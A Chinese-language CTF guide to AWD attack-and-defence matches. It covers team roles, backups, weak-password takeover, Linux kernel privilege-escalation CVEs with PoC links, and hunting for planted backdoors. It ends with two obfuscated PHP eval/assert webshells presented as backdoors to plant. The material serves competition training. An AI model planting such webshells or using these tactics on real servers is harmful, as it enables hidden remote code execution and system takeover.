简介
随着CTF的普及,比赛的形式也有了越来越多的花样,对于线下赛来说,常见为 AWD:Attack With Defence+公共高地、内网渗透等形式。
由于前段时间准备线下赛时,看了许多大佬们总结的套路,他们各种骚操作让我学到了许多,所以就想把几篇我觉得比较好的总结一下,一来方便自己比赛前回顾一下,二来跟大家分享,希望能对各位CTF朋友们有所帮助。
之后如果学到什么新姿势,我有时间也会update上来和大家分享:)
何为AWD
比赛中每个队伍维护多台服务器,服务器中存在多个漏洞,利用漏洞攻击其他队伍可以进行得分,修复漏洞可以避免被其他队伍攻击失分。
一般分配Web服务器,服务器(多数为Linux)某处存在flag(一般在根目录下)
可能会提供一台流量分析虚拟机,可以下载流量文件进行数据分析;
flag在主办方的设定下每隔一定时间刷新一轮
各队一般都有自己的初始分数
flag一旦被其他队伍拿走,该队扣除一定积分
扣除的积分由获取flag的队伍均分
主办方会对每个队伍的服务进行check,服务宕机扣除本轮flag分数,扣除的分值由服务check正常的队伍均分
一般每个队伍会给一个低权限用户,非root权限
具体规则以具体比赛规则为准,但一般大同小异
网络环境
网络拓扑如下图所示(示例):
首先先理清好网络拓扑关系,节点与各链路之间的关联,方便下一步和队友配合,要不然不知道对手在哪就GG。
比赛分工
线下赛一般3人左右,2人攻击,1人防御,因为发现的漏洞可以攻击其他队伍,也要进行修复,所以攻防相辅相成,以攻为守。
一般来说,比赛中每个队伍需要维护多个靶机,web、二进制等,也可以每人负责一台,各自负责攻击和防御。
套路小结
常规的CTF线下攻防思路:
服务器登录
一般比赛都通过ssh连接服务器,拿到网络拓扑图后,和队友进行分工,一个人检查有没有弱口令(弱口令的问题几乎是必考),有的话对密码进行修改(越复杂越好,当然前提是自己也方便)。web后台也很有可能存在弱口令,一般都是admin/admin ,admin/123456,test/test等等,同样需要立即修改,并将情况反馈给队友,凭着你的手速修改其他队伍的后台口令,为本队所用,甚至有些严重的可以利用后台getshell。
与此同时,还需要(一定要!必须要!)有人在比赛开始后第一时间备份服务器中web目录下的文件(/var/www/html)。这是自我审计的基础,也是防止服务器在比赛中出现异常的情况下可以立即恢复到初始状态的先决条件。有的比赛可以提供3次左右的恢复初始设置的机会(但一般会伴随着扣分为代价),有的比赛不提供,所以备份十分重要。
可以用scp命令,也可用一些图形化的工具:Winscp,MobaXterm等,操作起来比较方便。
接着就是上WAF、文件监控、端口扫描。将这几个工作分工好,顺序就像图上。
提权
在AWD中,一般都需要专门防御加固自己服务器的环节,但加固的很多操作都会涉及到root权限,如果直接给root权限最好,但一般只会给一个普通权限账号,这时候往往就需要给服务器提权了。关于提权,通常我们要根据kernel版本号找到对应的poc,平时我们可以收集测试一些比较新的提权poc,以备不时之需。
Linux_Local_Root_Exploits :这网站收集了许多linux本地提权的poc。
linux-kernel-exploits(github) :一个挺全的提权exp项目,收集了04年至今的exp,并按年份和CVE归类
下面分享几个最近两年并且影响范围比较大的:
CVE-2017-6074 (DCCP双重释放漏洞 > 2.6.18 ) :DCCP双重释放漏洞可允许本地低权限用户修改Linux内核内存,导致拒绝服务(系统崩溃)或者提升权限,获得系统的管理访问权限
CVE-2016-5195(脏牛,kernel 2.6.22 < 3.9 (x86/x64)) :低权限用户可修改root用户创建的文件内容,如修改 /etc/passwd,把当前用户的 uid 改成 0 即可提升为root权限
CVE-2016-8655(Ubuntu 12.04、14.04,Debian 7、8) :条件竞争漏洞,可以让低权限的进程获得内核代码执行权限
POC:https://www.seebug.org/vuldb/ssvid-92567
CVE-2017-1000367(sudo本地提权漏洞 ) :Linux Kernel Stack Clash安全漏洞。该漏洞是由于操作系统内存管理中的一个堆栈冲突漏洞,它影响Linux,FreeBSD和OpenBSD,NetBSD,Solaris,i386和AMD64,攻击者可以利用它破坏内存并执行任意代码 。
CVE-2016-1247(Nginx权限提升漏洞) :Nginx服务在创建log目录时使用了不安全的权限设置,可造成本地权限提升,恶意攻击者能够借此实现从 nginx/web 的用户权限 www-data 到 root 用户权限的提升。
POC:https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
我收集了一些提权的脚本工具集,可作参考:https://github.com/edwardchoijc/ctf-toolkit/Linux/getROOT
How to Attack
主机发现
如果是在同个C段,或者B段,均可以使用扫描器进行扫描得出。还要记得扫端口,这很重要,当然这个端口扫描是建立在没有自己靶机权限的情况下。用nmap也行,自己写的脚本或者网上找的也行。
找预留后门
有的比赛环境,为了照顾比较菜的选手,预留了一句话后门,可以利用这个漏洞迅速打一波,还可以视情况“搅屎”,利用这个漏洞一直维持权限,每轮都得分。
将整个web目录下载到本地,使用hm.exe、D盾或者别的扫描工具可以扫描得出(如果预留)
发现后门后,第一时间删除,同时利用这个漏洞发起第一波攻击,如果利用菜刀连,显然不够优雅,还没连完,人家估计都删的差不多了,因此这个漏洞虽然是送分,但拼的是手速,因此得提前准备好脚本
代码审计
代码审计是攻防一体的工作,当发现漏洞时,修补的同时跟进攻的队友商讨如何利用
一句话木马
控制用的一句话木马,最好是需要菜刀配置的,这样做是为了不让别人轻易的利用你的一句话,要不然就只能等着别人用你的脚本捡分。
比较好的一句话:
$a=chr(96^5);$b=chr(57^79);$c=chr(15^110);$d=chr(58^86);$e='($_REQUEST[C])';@assert($a.$b.$c.$d.$e);?>
配置为?b=))99(rhC(tseuqeR+lave
1
2
3
4
5
$sF="PCT4BA6ODSE_";
$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);
$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];if(isset($s22)){eval($s21($s22));}
?>